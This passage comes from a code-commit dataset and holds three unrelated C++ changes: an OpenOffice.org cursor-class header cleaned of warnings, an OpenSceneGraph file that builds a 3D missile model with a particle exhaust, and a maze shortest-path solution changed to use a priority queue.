fuer Table- und normalen Crsr\n\n    \/\/ Pruefe, ob sich der SPoint innerhalb der Tabellen-SSelection befindet\n    FASTBOOL IsInside( const Point& rPt ) const;\n\n    virtual void SetMark();\n    virtual SwCursor* Create( SwPaM* pRing = 0 ) const;\n    virtual operator SwShellCrsr* ();\n    virtual operator SwTableCursor* ();\n    virtual short MaxReplaceArived(); \/\/returns RET_YES\/RET_CANCEL\/RET_NO\n    virtual void SaveTblBoxCntnt( const SwPosition* pPos = 0 );\n\n    \/\/ TRUE: an die Position kann der Cursor gesetzt werden\n    virtual FASTBOOL IsAtValidPos( BOOL bPoint = TRUE ) const;\n\n#ifndef PRODUCT\n\/\/ JP 05.03.98: zum Testen des UNO-Crsr Verhaltens hier die Implementierung\n\/\/              am sichtbaren Cursor\n    virtual FASTBOOL IsSelOvr( int eFlags =\n                                ( SELOVER_CHECKNODESSECTION |\n                                  SELOVER_TOGGLE | SELOVER_CHANGEPOS ));\n#endif\n};\n\n\n\n#endif  \/\/ _VISCRS_HXX\n<commit_msg>INTEGRATION: CWS swwarnings (1.5.242); FILE MERGED 2007\/08\/20 15:19:48 tl 1.5.242.4: RESYNC: (1.5-1.6); FILE MERGED 2007\/04\/03 12:57:10 tl 1.5.242.3: #i69287# warning-free code 2007\/03\/05 12:43:20 tl 1.5.242.2: #i69287# warning-free code 2007\/02\/22 15:05:40 tl 1.5.242.1: #i69287# warning-free code<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: viscrs.hxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: hr $ $Date: 2007-09-27 08:17:42 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _VISCRS_HXX\n#define _VISCRS_HXX\n#ifndef _CURSOR_HXX \/\/autogen\n#include <vcl\/cursor.hxx>\n#endif\n#include \"swcrsr.hxx\"\n#include \"swrect.hxx\"\n#include \"swregion.hxx\"\n\nclass SwCrsrShell;\nclass SwShellCrsr;\n\n\/\/ --------  Ab hier Klassen \/ Methoden fuer den nicht Text-Cursor ------\n\nclass SwVisCrsr\n#ifdef SW_CRSR_TIMER\n                : private Timer\n#endif\n{\n    friend void _InitCore();\n    friend void _FinitCore();\n\n    BOOL bIsVisible : 1;\n    BOOL bIsDragCrsr : 1;\n\n#ifdef SW_CRSR_TIMER\n    BOOL bTimerOn : 1;\n#endif\n\n    Cursor aTxtCrsr;\n    const SwCrsrShell* pCrsrShell;\n\n#ifdef SW_CRSR_TIMER\n    virtual void Timeout();\n#endif\n    void _SetPosAndShow();\n\npublic:\n    SwVisCrsr( const SwCrsrShell * pCShell );\n    ~SwVisCrsr();\n\n    void Show();\n    void Hide();\n\n    BOOL IsVisible() const { return bIsVisible; }\n    void SetDragCrsr( BOOL bFlag = TRUE ) { bIsDragCrsr = bFlag; }\n\n#ifdef SW_CRSR_TIMER\n    BOOL ChgTimerFlag( BOOL bTimerOn = TRUE );\n#endif\n};\n\n\n\/\/ ------ Ab hier Klassen \/ Methoden fuer die Selectionen -------\n\n\/\/ #i75172# predefines\nnamespace sdr { namespace overlay { class OverlayObject; }}\n\nclass SwSelPaintRects : public SwRects\n{\n    friend void _InitCore();\n    friend void _FinitCore();\n\n    static long nPixPtX, nPixPtY;\n    static MapMode *pMapMode;\n\n    \/\/ die Shell\n    const SwCrsrShell* pCShell;\n\n    void Paint( const SwRect& rRect );\n\n    virtual void Paint( const Rectangle& rRect );\n    virtual void FillRects() = 0;\n\n    \/\/ #i75172#\n    sdr::overlay::OverlayObject*    mpCursorOverlay;\n\n    \/\/ #i75172# access to mpCursorOverlay for swapContent\n    sdr::overlay::OverlayObject* getCursorOverlay() const { return mpCursorOverlay; }\n    void setCursorOverlay(sdr::overlay::OverlayObject* pNew) { mpCursorOverlay = pNew; }\n\npublic:\n    SwSelPaintRects( const SwCrsrShell& rCSh );\n    virtual ~SwSelPaintRects();\n\n    \/\/ #i75172# in SwCrsrShell::CreateCrsr() the content of SwSelPaintRects is exchanged. To\n    \/\/ make a complete swap access to mpCursorOverlay is needed there\n    void swapContent(SwSelPaintRects& rSwap);\n\n    void Show();\n    void Hide();\n    void Invalidate( const SwRect& rRect );\n\n    const SwCrsrShell* GetShell() const { return pCShell; }\n    \/\/ check current MapMode of the shell and set possibly the static members.\n    \/\/ Optional set the parameters pX, pY\n    static void Get1PixelInLogic( const ViewShell& rSh,\n                                    long* pX = 0, long* pY = 0 );\n};\n\n\nclass SwShellCrsr : public virtual SwCursor, public SwSelPaintRects\n{\n    \/\/ Dokument-Positionen der Start\/End-Charakter einer SSelection\n    Point aMkPt, aPtPt;\n    const SwPosition* pPt;      \/\/ fuer Zuordung vom GetPoint() zum aPtPt\n\n    virtual void FillRects();   \/\/ fuer Table- und normalen Crsr\n\npublic:\n    SwShellCrsr( const SwCrsrShell& rCrsrSh, const SwPosition &rPos );\n    SwShellCrsr( const SwCrsrShell& rCrsrSh, const SwPosition &rPos,\n                    const Point& rPtPos, SwPaM* pRing = 0 );\n    SwShellCrsr( SwShellCrsr& );\n    virtual ~SwShellCrsr();\n\n    virtual operator SwShellCrsr* ();\n\n    void Show();            \/\/ Update und zeige alle Selektionen an\n    void Hide();            \/\/ verstecke alle Selektionen\n    void Invalidate( const SwRect& rRect );\n\n    const Point& GetPtPos() const   { return( SwPaM::GetPoint() == pPt ? aPtPt : aMkPt ); }\n          Point& GetPtPos()         { return( SwPaM::GetPoint() == pPt ? aPtPt : aMkPt ); }\n    const Point& GetMkPos() const   { return( SwPaM::GetMark() == pPt ? aPtPt : aMkPt ); }\n          Point& GetMkPos()         { return( SwPaM::GetMark() == pPt ? aPtPt : aMkPt ); }\n    const Point& GetSttPos() const  { return( SwPaM::Start() == pPt ? aPtPt : aMkPt ); }\n          Point& GetSttPos()        { return( SwPaM::Start() == pPt ? aPtPt : aMkPt ); }\n    const Point& GetEndPos() const  { return( SwPaM::End() == pPt ? aPtPt : aMkPt ); }\n          Point& GetEndPos()        { return( SwPaM::End() == pPt ? aPtPt : aMkPt ); }\n\n    virtual void SetMark();\n\n    virtual SwCursor* Create( SwPaM* pRing = 0 ) const;\n\n    virtual short MaxReplaceArived(); \/\/returns RET_YES\/RET_CANCEL\/RET_NO\n    virtual void SaveTblBoxCntnt( const SwPosition* pPos = 0 );\n\n    using SwCursor::UpDown;\n    BOOL UpDown( BOOL bUp, USHORT nCnt = 1 );\n\n    \/\/ TRUE: an die Position kann der Cursor gesetzt werden\n    virtual BOOL IsAtValidPos( BOOL bPoint = TRUE ) const;\n\n#ifndef PRODUCT\n\/\/ JP 05.03.98: zum Testen des UNO-Crsr Verhaltens hier die Implementierung\n\/\/              am sichtbaren Cursor\n    virtual BOOL IsSelOvr( int eFlags =\n                                ( nsSwCursorSelOverFlags::SELOVER_CHECKNODESSECTION |\n                                  nsSwCursorSelOverFlags::SELOVER_TOGGLE |\n                                  nsSwCursorSelOverFlags::SELOVER_CHANGEPOS ));\n#endif\n\n    DECL_FIXEDMEMPOOL_NEWDEL( SwShellCrsr )\n};\n\n\n\nclass SwShellTableCrsr : public virtual SwShellCrsr, public virtual SwTableCursor\n{\n    \/\/ die Selection hat die gleiche Reihenfolge wie die\n    \/\/ TabellenBoxen. D.h., wird aus dem einen Array an einer Position\n    \/\/ etwas geloescht, dann muss es auch im anderen erfolgen!!\n\n\npublic:\n    SwShellTableCrsr( const SwCrsrShell& rCrsrSh, const SwPosition& rPos );\n    SwShellTableCrsr( const SwCrsrShell& rCrsrSh,\n                    const SwPosition &rMkPos, const Point& rMkPt,\n                    const SwPosition &rPtPos, const Point& rPtPt );\n    virtual ~SwShellTableCrsr();\n\n    virtual operator SwShellTableCrsr* ();\n\n    virtual void FillRects();   \/\/ fuer Table- und normalen Crsr\n\n    \/\/ Pruefe, ob sich der SPoint innerhalb der Tabellen-SSelection befindet\n    BOOL IsInside( const Point& rPt ) const;\n\n    virtual void SetMark();\n    virtual SwCursor* Create( SwPaM* pRing = 0 ) const;\n    virtual operator SwShellCrsr* ();\n    virtual operator SwTableCursor* ();\n    virtual short MaxReplaceArived(); \/\/returns RET_YES\/RET_CANCEL\/RET_NO\n    virtual void SaveTblBoxCntnt( const SwPosition* pPos = 0 );\n\n    \/\/ TRUE: an die Position kann der Cursor gesetzt werden\n    virtual BOOL IsAtValidPos( BOOL bPoint = TRUE ) const;\n\n#ifndef PRODUCT\n\/\/ JP 05.03.98: zum Testen des UNO-Crsr Verhaltens hier die Implementierung\n\/\/              am sichtbaren Cursor\n    virtual BOOL IsSelOvr( int eFlags =\n                                ( nsSwCursorSelOverFlags::SELOVER_CHECKNODESSECTION |\n                                  nsSwCursorSelOverFlags::SELOVER_TOGGLE |\n                                  nsSwCursorSelOverFlags::SELOVER_CHANGEPOS ));\n#endif\n};\n\n\n\n#endif  \/\/ _VISCRS_HXX\n<|endoftext|>"}
{"text":"<commit_before>#include <cmath>\r\n#include <osg\/Texture2D>\r\n#include <osg\/MatrixTransform>\r\n#include <osg\/LightModel>\r\n#include <osg\/Material>\r\n#include <osgDB\/ReadFile>\r\n#include <osg\/Point>\r\n#include <osg\/PointSprite>\r\n#include <osgParticle\/ParticleSystem>\r\n#include <osgParticle\/ParticleSystemUpdater>\r\n#include <osgParticle\/ModularEmitter>\r\n#include <osgParticle\/ModularProgram>\r\n#include <osgParticle\/RadialShooter>\r\n#include <osg\/BlendFunc>\r\n\r\n#include \"Rotator.h\"\r\n#include \"Sphere.h\"\r\n#include \"Fins.h\"\r\n\r\n#include \"Missile.h\"\r\n\r\nusing namespace osg;\r\nusing namespace osgParticle;\r\n\r\nParticleSystem* createParticleSystem(Group* _parent) {\r\n    ref_ptr<Group> parent = _parent;\r\n    ref_ptr<ParticleSystem> ps = new ParticleSystem();\r\n    ps->getDefaultParticleTemplate().setShape(Particle::POINT);\r\n    \r\n    ref_ptr<BlendFunc> blendFunc = new BlendFunc();\r\n    blendFunc->setFunction(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\r\n\r\n    \/\/ Texture erzeugen\r\n    ref_ptr<Texture2D> texture = new Texture2D;\r\n\r\n    texture->setImage( osgDB::readImageFile(\"..\/resources\/particle_2.rgb\") );\r\n    \r\n    \/\/ StateSetattribute setzen\r\n    ref_ptr<StateSet> ss = ps->getOrCreateStateSet();\r\n    ss->setAttributeAndModes(blendFunc.get());\r\n    \/\/ Texture übergeben\r\n    ss->setTextureAttributeAndModes(0, texture.get());\r\n    \/\/ Point-Atrribut setzen\r\n    ref_ptr<Point> attribute = new Point(10.0f);\r\n    ss->setAttribute(attribute);\r\n    ref_ptr<PointSprite> sprite = new PointSprite;\r\n    ss->setTextureAttributeAndModes(0, sprite);\r\n    \/\/ Lichteffekte auf Partikel ausmachen\r\n    ss->setMode( GL_LIGHTING, StateAttribute::OFF);\r\n    \/\/ Rendering einstellen\r\n    ss->setRenderingHint( StateSet::TRANSPARENT_BIN );\r\n    \r\n    \/\/Rng\r\n    ref_ptr<RandomRateCounter> rrc = new RandomRateCounter();\r\n    rrc->setRateRange( 50, 500 ); \/\/Anzahl der Partikel\/Sekunde\r\n    \r\n    \/\/makeshooter\r\n    ref_ptr<RadialShooter> myshooter = new RadialShooter();\r\n    myshooter->setThetaRange(-PI_2-0.05,-PI_2+0.05); \/\/ Streuung z-x-ebene gegen UZS\r\n    myshooter->setPhiRange(-0.02,0.02); \/\/Streuung x-y-ebene gegen UZS\r\n    myshooter->setInitialSpeedRange(0,10); \/\/Geschwindigkeit\r\n    \r\n    \/\/Emmiter\r\n    ref_ptr<ModularEmitter> emitter = new ModularEmitter();\r\n    emitter->setParticleSystem( ps.get() );\r\n    emitter->setCounter( rrc.get() );\r\n    emitter->setShooter(myshooter.get());    \r\n        \r\n    \/\/??\r\n    \/\/ref_ptr<ModularProgram> program = new ModularProgram();\r\n   \/\/ program->setParticleSystem( ps.get() );\r\n\r\n    \r\n    \/\/Rendering stuff2\r\n    ref_ptr<Geode> geode = new Geode();\r\n    geode->addDrawable( ps.get() );\r\n    \r\n    parent->addChild( emitter.get() );\r\n   \/\/ parent->addChild( program.get() );\r\n    parent->addChild( geode.get() );\r\n    return ps.release();\r\n}\r\n\r\n\r\nph::Missile::Missile() {\r\n    ref_ptr<ph::Rotator> rotator = new ph::Rotator(-1.7, 1.81, 30);\r\n    rotator->setTexture(0, \"..\/resources\/rotator_tx.png\");\r\n    \r\n    ref_ptr<ph::Fins> fins1a = new ph::Fins(0,0.4);\r\n    fins1a->setTexture(0, \"..\/resources\/fin.png\");\r\n    \r\n    osg::ref_ptr<osg::MatrixTransform> transf1a = new osg::MatrixTransform;\r\n\r\n \r\n    transf1a->setMatrix(osg::Matrix::rotate(osg::DegreesToRadians(-135.0), 1, 0, 0));\r\n    transf1a->addChild(fins1a.get());\r\n   \r\n    osg::ref_ptr<osg::MatrixTransform> transf1b = new osg::MatrixTransform;\r\n    transf1b->setMatrix(osg::Matrix::rotate(osg::DegreesToRadians(45.0), 1, 0, 0));\r\n    transf1b->addChild(fins1a.get());\r\n    \r\n   \r\n    osg::ref_ptr<osg::MatrixTransform> transf1c = new osg::MatrixTransform;\r\n    transf1c->setMatrix(osg::Matrix::rotate(osg::DegreesToRadians(135.0), 1, 0, 0));\r\n    transf1c->addChild(fins1a.get());\r\n    \r\n  \r\n    osg::ref_ptr<osg::MatrixTransform> transf1d = new osg::MatrixTransform;\r\n    transf1d->setMatrix(osg::Matrix::rotate(osg::DegreesToRadians(-45.0), 1, 0, 0));\r\n    transf1d->addChild(fins1a.get());\r\n    \r\n    \r\n    ref_ptr<Group> fins1 = new Group();\r\n    fins1->addChild(transf1a.get());\r\n    fins1->addChild(transf1b.get());\r\n    fins1->addChild(transf1c.get());\r\n    fins1->addChild(transf1d.get());\r\n\r\n    \r\n    osg::ref_ptr<osg::MatrixTransform> transf = new osg::MatrixTransform;\r\n    transf->setMatrix(osg::Matrix::rotate(osg::DegreesToRadians(180.0), 0, 1, 0)*(osg::Matrix::translate(-0.8f, 0.0f, 0.0f)));\r\n    transf->addChild(fins1.get());\r\n  \r\n    osg::ref_ptr<osg::MatrixTransform> transf2 = new osg::MatrixTransform;\r\n    transf2->setMatrix(osg::Matrix::rotate(osg::DegreesToRadians(180.0), 0, 1, 0)*(osg::Matrix::translate(1.0f, 0.0f, 0.0f)));\r\n    transf2->addChild(fins1.get());\r\n    \r\n  \r\n    ref_ptr<LightModel> lm = new LightModel;\r\n    lm->setTwoSided(true);\r\n    fins1->getOrCreateStateSet()->setAttributeAndModes(lm.get());\r\n\r\n    ref_ptr<ph::Sphere> sphere = new ph::Sphere(0.1, 200);\r\n    ref_ptr<Material> material = new Material;\r\n    material->setEmission(Material::FRONT_AND_BACK, Vec4(100,1,50,1.0));\r\n    material->setShininess(Material::FRONT_AND_BACK, 10);\r\n    \r\n    sphere->getOrCreateStateSet()->setAttributeAndModes(material.get(),StateAttribute::ON);\r\n       \r\n    ref_ptr<MatrixTransform> planet = new MatrixTransform;\r\n    \r\n    planet->setMatrix(Matrix::translate(-1.8,0.0,0.0));\r\n    sphere->setTexture(0,\"..\/resources\/rocketeng.jpeg\"); \r\n    planet->addChild(sphere.get());\r\n    \r\n    \/\/Creating the particlesystem \r\n    \r\n    ref_ptr<osg::MatrixTransform> mtx = new osg::MatrixTransform;\r\n    mtx->setMatrix(Matrix::translate(-2.0,0.0,0.0));  \/\/um 2 ans Heck der Missile verschieben\r\n    \r\n    ref_ptr<ParticleSystem> ps = createParticleSystem(mtx.get());\r\n    ref_ptr<ParticleSystemUpdater> updater = new ParticleSystemUpdater();\r\n    updater->addParticleSystem(ps);\r\n\r\n    ref_ptr<Group> particlesystemNode = new Group();\r\n    particlesystemNode->addChild(updater.get());\r\n    particlesystemNode->addChild(mtx.get());\r\n\r\n    \r\n    \/\/Building Missile\r\n    ref_ptr<osg::Group> missileNode = new osg::Group;\r\n    missileNode->addChild(rotator.get());\r\n    missileNode->addChild(transf.get());\r\n    missileNode->addChild(transf2.get());\r\n    missileNode->addChild(planet.get());\r\n    missileNode->addChild(particlesystemNode.get());\r\n   \r\n    \/\/Set the transformations up for animation\r\n    rotate = new MatrixTransform();\r\n    rotate->setMatrix(Matrix::rotate(0,Vec3d(0,0,0)));\r\n    translate = new MatrixTransform();\r\n    translate->setMatrix(Matrix::translate(Vec3d(0,0,0)));\r\n    translate->addChild(rotate.get());\r\n    rotate->addChild(missileNode.get());\r\n\r\n    this->addChild(translate.get());\r\n    \r\n   \r\n}\r\n\r\n<commit_msg>Missile - nun das aktuelle committed<commit_after>#include <cmath>\r\n#include <osg\/Texture2D>\r\n#include <osg\/MatrixTransform>\r\n#include <osg\/LightModel>\r\n#include <osg\/Material>\r\n#include <osgDB\/ReadFile>\r\n#include <osg\/Point>\r\n#include <osg\/PointSprite>\r\n#include <osgParticle\/ParticleSystem>\r\n#include <osgParticle\/ParticleSystemUpdater>\r\n#include <osgParticle\/ModularEmitter>\r\n#include <osgParticle\/ModularProgram>\r\n#include <osgParticle\/RadialShooter>\r\n#include <osg\/BlendFunc>\r\n\r\n#include \"Rotator.h\"\r\n#include \"Sphere.h\"\r\n#include \"Fins.h\"\r\n\r\n#include \"Missile.h\"\r\n\r\nusing namespace osg;\r\nusing namespace osgParticle;\r\n\r\nParticleSystem* createParticleSystem(Group* _parent) {\r\n    ref_ptr<Group> parent = _parent;\r\n    ref_ptr<ParticleSystem> ps = new ParticleSystem();\r\n    ps->getDefaultParticleTemplate().setShape(Particle::POINT);\r\n    \r\n    ref_ptr<BlendFunc> blendFunc = new BlendFunc();\r\n    blendFunc->setFunction(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\r\n\r\n    \/\/ Texture erzeugen\r\n    ref_ptr<Texture2D> texture = new Texture2D;\r\n\r\n    texture->setImage( osgDB::readImageFile(\"..\/resources\/particle_2.rgb\") );\r\n    \r\n    \/\/ StateSetattribute setzen\r\n    ref_ptr<StateSet> ss = ps->getOrCreateStateSet();\r\n    ss->setAttributeAndModes(blendFunc.get());\r\n    \/\/ Texture übergeben\r\n    ss->setTextureAttributeAndModes(0, texture.get());\r\n    \/\/ Point-Atrribut setzen\r\n    ref_ptr<Point> attribute = new Point(10.0f);\r\n    ss->setAttribute(attribute);\r\n    ref_ptr<PointSprite> sprite = new PointSprite;\r\n    ss->setTextureAttributeAndModes(0, sprite);\r\n    \/\/ Lichteffekte auf Partikel ausmachen\r\n    ss->setMode( GL_LIGHTING, StateAttribute::OFF);\r\n    \/\/ Rendering einstellen\r\n    ss->setRenderingHint( StateSet::TRANSPARENT_BIN );\r\n    \r\n    \/\/Rng\r\n    ref_ptr<RandomRateCounter> rrc = new RandomRateCounter();\r\n    rrc->setRateRange( 50, 500 ); \/\/Anzahl der Partikel\/Sekunde\r\n    \r\n    \/\/makeshooter\r\n    ref_ptr<RadialShooter> myshooter = new RadialShooter();\r\n    myshooter->setThetaRange(-PI_2-0.05,-PI_2+0.05); \/\/ Streuung z-x-ebene gegen UZS\r\n    myshooter->setPhiRange(-0.02,0.02); \/\/Streuung x-y-ebene gegen UZS\r\n    myshooter->setInitialSpeedRange(0,10); \/\/Geschwindigkeit\r\n    \r\n    \/\/Emmiter\r\n    ref_ptr<ModularEmitter> emitter = new ModularEmitter();\r\n    emitter->setParticleSystem( ps.get() );\r\n    emitter->setCounter( rrc.get() );\r\n    emitter->setShooter(myshooter.get());    \r\n   \r\n    \r\n    \/\/Rendering stuff2\r\n    ref_ptr<Geode> geode = new Geode();\r\n    geode->addDrawable( ps.get() );\r\n    \r\n    parent->addChild( emitter.get() );\r\n    parent->addChild( geode.get() );\r\n    return ps.release();\r\n}\r\n\r\n\r\nph::Missile::Missile() {\r\n    ref_ptr<ph::Rotator> rotator = new ph::Rotator(-1.7, 1.81, 30);\r\n    rotator->setTexture(0, \"..\/resources\/rotator_tx.png\");\r\n    \r\n    ref_ptr<ph::Fins> fins1a = new ph::Fins(0,0.4);\r\n    fins1a->setTexture(0, \"..\/resources\/fin.png\");\r\n    \r\n    osg::ref_ptr<osg::MatrixTransform> transf1a = new osg::MatrixTransform;\r\n\r\n \r\n    transf1a->setMatrix(osg::Matrix::rotate(osg::DegreesToRadians(-135.0), 1, 0, 0));\r\n    transf1a->addChild(fins1a.get());\r\n   \r\n    osg::ref_ptr<osg::MatrixTransform> transf1b = new osg::MatrixTransform;\r\n    transf1b->setMatrix(osg::Matrix::rotate(osg::DegreesToRadians(45.0), 1, 0, 0));\r\n    transf1b->addChild(fins1a.get());\r\n    \r\n   \r\n    osg::ref_ptr<osg::MatrixTransform> transf1c = new osg::MatrixTransform;\r\n    transf1c->setMatrix(osg::Matrix::rotate(osg::DegreesToRadians(135.0), 1, 0, 0));\r\n    transf1c->addChild(fins1a.get());\r\n    \r\n  \r\n    osg::ref_ptr<osg::MatrixTransform> transf1d = new osg::MatrixTransform;\r\n    transf1d->setMatrix(osg::Matrix::rotate(osg::DegreesToRadians(-45.0), 1, 0, 0));\r\n    transf1d->addChild(fins1a.get());\r\n    \r\n    \r\n    ref_ptr<Group> fins1 = new Group();\r\n    fins1->addChild(transf1a.get());\r\n    fins1->addChild(transf1b.get());\r\n    fins1->addChild(transf1c.get());\r\n    fins1->addChild(transf1d.get());\r\n\r\n    \r\n    osg::ref_ptr<osg::MatrixTransform> transf = new osg::MatrixTransform;\r\n    transf->setMatrix(osg::Matrix::rotate(osg::DegreesToRadians(180.0), 0, 1, 0)*(osg::Matrix::translate(-0.8f, 0.0f, 0.0f)));\r\n    transf->addChild(fins1.get());\r\n  \r\n    osg::ref_ptr<osg::MatrixTransform> transf2 = new osg::MatrixTransform;\r\n    transf2->setMatrix(osg::Matrix::rotate(osg::DegreesToRadians(180.0), 0, 1, 0)*(osg::Matrix::translate(1.0f, 0.0f, 0.0f)));\r\n    transf2->addChild(fins1.get());\r\n    \r\n  \r\n    ref_ptr<LightModel> lm = new LightModel;\r\n    lm->setTwoSided(true);\r\n    fins1->getOrCreateStateSet()->setAttributeAndModes(lm.get());\r\n\r\n    ref_ptr<ph::Sphere> sphere = new ph::Sphere(0.1, 200);\r\n    ref_ptr<Material> material = new Material;\r\n    material->setEmission(Material::FRONT_AND_BACK, Vec4(100,1,50,1.0));\r\n    material->setShininess(Material::FRONT_AND_BACK, 10);\r\n    \r\n    sphere->getOrCreateStateSet()->setAttributeAndModes(material.get(),StateAttribute::ON);\r\n       \r\n    ref_ptr<MatrixTransform> planet = new MatrixTransform;\r\n    \r\n    planet->setMatrix(Matrix::translate(-1.8,0.0,0.0));\r\n    sphere->setTexture(0,\"..\/resources\/rocketeng.jpeg\"); \r\n    planet->addChild(sphere.get());\r\n    \r\n    \/\/Creating the particlesystem \r\n    \r\n    ref_ptr<osg::MatrixTransform> mtx = new osg::MatrixTransform;\r\n    mtx->setMatrix(Matrix::translate(-2.0,0.0,0.0));  \/\/um 2 ans Heck der Missile verschieben\r\n    \r\n    ref_ptr<ParticleSystem> ps = createParticleSystem(mtx.get());\r\n    ref_ptr<ParticleSystemUpdater> updater = new ParticleSystemUpdater();\r\n    updater->addParticleSystem(ps);\r\n\r\n    ref_ptr<Group> particlesystemNode = new Group();\r\n    particlesystemNode->addChild(updater.get());\r\n    particlesystemNode->addChild(mtx.get());\r\n\r\n    \r\n    \/\/Building Missile\r\n    ref_ptr<osg::Group> missileNode = new osg::Group;\r\n    missileNode->addChild(rotator.get());\r\n    missileNode->addChild(transf.get());\r\n    missileNode->addChild(transf2.get());\r\n    missileNode->addChild(planet.get());\r\n    missileNode->addChild(particlesystemNode.get());\r\n   \r\n    \/\/Set the transformations up for animation\r\n    rotate = new MatrixTransform();\r\n    rotate->setMatrix(Matrix::rotate(0,Vec3d(0,0,0)));\r\n    translate = new MatrixTransform();\r\n    translate->setMatrix(Matrix::translate(Vec3d(0,0,0)));\r\n    translate->addChild(rotate.get());\r\n    rotate->addChild(missileNode.get());\r\n\r\n    this->addChild(translate.get());\r\n    \r\n   \r\n}\r\n\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Time:  O(max(r, c) * wlogw)\n\/\/ Space: O(w^2)\n\nclass Solution {\npublic:\n    string findShortestWay(vector<vector<int>>& maze, vector<int>& ball, vector<int>& hole) {\n        static const unordered_map<string, vector<int>> dirs = {{\"u\", {-1, 0}}, {\"r\", {0, 1}},\n                                                                {\"l\", {0, -1}}, {\"d\", {1, 0}}};\n        queue<node> heap;\n        unordered_set<int> visited;\n        heap.emplace(0, make_pair(\"\", ball));\n\n        while (!heap.empty()) {\n            int dist = 0;\n            string path;\n            vector<int> node;\n            tie(dist, lvalue(tie(path, node))) = heap.front();\n            heap.pop();\n            if (visited.count(hash(maze, node))) {\n                continue;\n            }\n\n            if (node[0] == hole[0] &&\n                node[1] == hole[1]) {\n                return path;\n            }\n\n            visited.emplace(hash(maze, node));\n            for (const auto& kvp : dirs) {\n                int neighbor_dist = 0;\n                string dir;\n                vector<int> neighbor;\n                tie(neighbor_dist, lvalue(tie(dir, neighbor))) = findNeighbor(maze, hole, node, kvp);\n                heap.emplace(dist + neighbor_dist, make_pair(path + dir, neighbor));\n            }\n        }\n\n        return \"impossible\";\n    }\n\nprivate:\n    using node = pair<int, pair<string, vector<int>>>;\n\n    node findNeighbor(const vector<vector<int>>& maze, const vector<int>& hole,\n                      const vector<int>& node, const pair<string, vector<int>>& kvp) {\n        string dir;\n        vector<int> vec;\n        tie(dir, vec) = kvp;\n        vector<int> cur_node = node;\n        int dist = 0;\n    \n        while (0 <= cur_node[0] + vec[0] && cur_node[0] + vec[0] < maze.size() &&\n               0 <= cur_node[1] + vec[1] && cur_node[1] + vec[1] < maze[0].size() &&\n               !maze[cur_node[0] + vec[0]][cur_node[1] + vec[1]]) {\n    \n            cur_node[0] += vec[0];\n            cur_node[1] += vec[1];\n            ++dist;\n            if (cur_node[0] == hole[0] &&\n                cur_node[1] == hole[1]) {\n                break;\n            }\n        }\n        return {dist, {dir, cur_node}};\n    }\n    \n    int hash(const vector<vector<int>>& maze, const vector<int>& node) {\n        return node[0] * maze[0].size() + node[1];\n    }\n\n    template <class T>\n    constexpr T &lvalue(T &&v) {\n        return v;\n    }\n};\n<commit_msg>Update the-maze-iii.cpp<commit_after>\/\/ Time:  O(max(r, c) * wlogw)\n\/\/ Space: O(w^2)\n\nclass Solution {\npublic:\n    string findShortestWay(vector<vector<int>>& maze, vector<int>& ball, vector<int>& hole) {\n        static const unordered_map<string, vector<int>> dirs = {{\"u\", {-1, 0}}, {\"r\", {0, 1}},\n                                                                {\"l\", {0, -1}}, {\"d\", {1, 0}}};\n        priority_queue<node, vector<node>, greater<node>> heap;\n        unordered_set<int> visited;\n        heap.emplace(0, make_pair(\"\", ball));\n\n        while (!heap.empty()) {\n            int dist = 0;\n            string path;\n            vector<int> node;\n            tie(dist, lvalue(tie(path, node))) = heap.top();\n            heap.pop();\n            if (visited.count(hash(maze, node))) {\n                continue;\n            }\n\n            if (node[0] == hole[0] &&\n                node[1] == hole[1]) {\n                return path;\n            }\n\n            visited.emplace(hash(maze, node));\n            for (const auto& kvp : dirs) {\n                int neighbor_dist = 0;\n                string dir;\n                vector<int> neighbor;\n                tie(neighbor_dist, lvalue(tie(dir, neighbor))) = findNeighbor(maze, hole, node, kvp);\n                heap.emplace(dist + neighbor_dist, make_pair(path + dir, neighbor));\n            }\n        }\n\n        return \"impossible\";\n    }\n\nprivate:\n    using node = pair<int, pair<string, vector<int>>>;\n\n    node findNeighbor(const vector<vector<int>>& maze, const vector<int>& hole,\n                      const vector<int>& node, const pair<string, vector<int>>& kvp) {\n        string dir;\n        vector<int> vec;\n        tie(dir, vec) = kvp;\n        vector<int> cur_node = node;\n        int dist = 0;\n    \n        while (0 <= cur_node[0] + vec[0] && cur_node[0] + vec[0] < maze.size() &&\n               0 <= cur_node[1] + vec[1] && cur_node[1] + vec[1] < maze[0].size() &&\n               !maze[cur_node[0] + vec[0]][cur_node[1] + vec[1]]) {\n    \n            cur_node[0] += vec[0];\n            cur_node[1] += vec[1];\n            ++dist;\n            if (cur_node[0] == hole[0] &&\n                cur_node[1] == hole[1]) {\n                break;\n            }\n        }\n        return {dist, {dir, cur_node}};\n    }\n    \n    int hash(const vector<vector<int>>& maze, const vector<int>& node) {\n        return node[0] * maze[0].size() + node[1];\n    }\n\n    template <class T>\n    constexpr T &lvalue(T &&v) {\n        return v;\n    }\n};\n<|endoftext|>"}
